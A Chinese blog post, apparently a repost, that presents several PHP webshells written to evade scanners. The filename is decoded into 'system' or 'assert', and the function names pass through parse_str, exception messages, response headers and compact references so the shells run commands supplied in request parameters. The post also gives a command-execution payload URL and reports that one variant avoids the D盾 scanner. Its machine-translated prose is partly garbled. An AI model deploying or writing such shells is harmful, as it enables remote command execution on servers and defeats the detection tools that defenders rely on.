首页 » 网站建设 » PHPcompact技巧_PHP的webshell磋商研究

PHPcompact技巧_PHP的webshell磋商研究

duote123 2024-11-06 0

扫一扫用手机浏览

文章目录 [+]

文件名为:451232.php

1234567891011121314151617

<?phpfunction fun($a){ $s = ['a','t','s', 'y', 'm', 'e', '/']; $tmp = ""; while ($a>10) { $tmp .= $s[$a%10]; $a = $a/10; } return $tmp.$s[$a];}//intval(substr(__FILE__, -10, 6)) 取出文件名451232//经由fun函数后返回字符串system$f = 'a=d&b[]=foo&b[]=' . fun(intval(substr(__FILE__, -10, 6))); //$f=a=d&b[]=foo&b[]=system$arr = array();parse_str($f, $arr);$arr['b'][1]($_GET['b']); //$arr['b'][1]=system 动态函数调用,相称于system($_GET['b']);PHP

实行命令

PHPcompact技巧_PHP的webshell磋商研究

蚁剑版本,文件名为:342115.php

PHPcompact技巧_PHP的webshell磋商研究
(图片来自网络侵删)

12345678910111213141516

<?phpfunction fun($a){ $s = ['a','s','e','t','r','a','/']; $tmp = ""; while ($a>10) { $tmp .= $s[$a%10]; $a = $a/10; } return $tmp.$s[$a];}$f = 'a=d&b[]=foo&b[]=' . fun(intval(substr(__FILE__, -10, 6))); $arr = array();parse_str($f, $arr);echo $arr['b'][1];$arr['b'][1]($_POST['m1t1']); //$arr['b'][1]=assert 动态函数调用,相称于assert($_GET['b']);PHP

蚁剑连接

为什么不能直接用eval?

PHP 支持可变函数的观点。
这意味着如果一个变量名后有圆括号,PHP 将探求与变量的值同名的函数,并且考试测验实行它。
可变函数可以用来实现包括回调函数,函数表在内的一些用场。
可变函数不能用于例如 echo,print,unset(),isset(),empty(),include,require 以及类似的措辞构造。
须要利用自己的包装函数来将这些构造用作可变函数。

大略来说便是eval是措辞布局器,不是可变函数,而assert是可变函数,可以通过assert调用eval,但在7.1版本往后assert默认不再可以实行代码

Exception::getMessage

文件名:451232.php

1234567891011121314151617

<?php function fun($a){//fun可以将数字451232还原为字符串"system" $s = ['a','t','s', 'y', 'm', 'e', '/']; $tmp = ""; while ($a>10) { $tmp .= $s[$a%10]; $a = $a/10; } return $tmp.$s[$a];}$a = new PDOException(fun(intval(substr(__FILE__, -10, 6))));// $a = new PDOException('system'); 这种会被引擎检测出来$b=$a->getMessage();$b($_GET['b']);PHP

其他可用的Exception

1234

DOMExceptionReflectionExceptionClosedGeneratorException 7版本特有PharExceptionTEXTapache_response_headers

12345678

<?phpheader('ddd: system');$arr = apache_response_headers();foreach($arr as $k=>$v){ if (strlen($v) == 6 && $v[0] == 's' && $v[5] == 'm'){ $v($_GET['b']); }}PHP

compact + 变量引用

文件名:451232.php

1234567891011121314151617181920

<?php function fun($a){ $s = ['a','t','s', 'y', 'm', 'e', '/']; $tmp = ""; while ($a>10) { $tmp .= $s[$a%10]; $a = $a/10; } return $tmp.$s[$a];}$e = fun(intval(substr(__FILE__,-10,6)));$city = &$e;$event = 'aaaa';$result = compact("event", "city");$e = 'dddd';$f = $result['city'];$f($_GET['b']);PHP

Exception类绕过

源码

123456789101112

<?php$a = $_GET["a"];$b = $_GET["b"];$c = $_GET["c"];$d = $_GET["d"];$e = $_GET["e"];$f = $_GET["f"];$g = $_GET["g"];$class = new $a($b);$str1 = substr($class->$c(),$d,$e);$str2 = substr($class->$c(),$f,$g);$str1($str2);PHP

payload:?a=ArrayIterator&b[system]=whoami&c=serialize&d=16&e=6&f=29&g=6,a=Exception&b=systemwhoami&c=__toString&d=11&e=6&f=17&g=6

D盾查杀,可以看到上述的Exception类绕过这个没有被D盾查杀出来.

总结

实在大多webshell查杀引擎都是通过关键词或者定义的静态规则来进行的,绕过关键词可以利用各种编码或者函数绕过技巧,比如parse_str,绕过定义的静态规则可能会比较困难,比如上述的三种绕过办法都利用了动态函数调用,这种方法在D盾的webshell查杀里面会被标记为内藏可疑变量函数虽然不会直接查杀,但是经由人工审计往后也能被创造。

from https://blog.zlimilz.cn/archives/27bd8185/

标签:

相关文章

技术革新驱动下的代码改进,探索编程之美

在信息技术飞速发展的今天,编程语言作为一种沟通计算机的通用语言,已成为现代社会不可或缺的基石。而代码作为编程语言的具体体现,其质量...

网站建设 2024-12-25 阅读0 评论0

投影仪,现代教育技术革新的先锋

随着科技的飞速发展,教育领域也迎来了前所未有的变革。投影仪作为现代教育技术革新的先锋,凭借其独特的优势,逐渐成为各大校园、企业培训...

网站建设 2024-12-25 阅读0 评论0

打造个性化网站,开启数字时代新篇章

在数字化时代,网站已成为企业、个人展示形象、拓展业务的重要平台。一个优秀的网站,不仅能够吸引更多用户,还能为企业带来丰厚的经济效益...

网站建设 2024-12-25 阅读0 评论0

问道语言边框,文化传承与时代交融的桥梁

自古以来,语言边框如同一条条纽带,连接着不同地域、不同民族的文化,成为传承与交流的重要桥梁。在当今这个全球化时代,语言边框的作用愈...

网站建设 2024-12-25 阅读0 评论0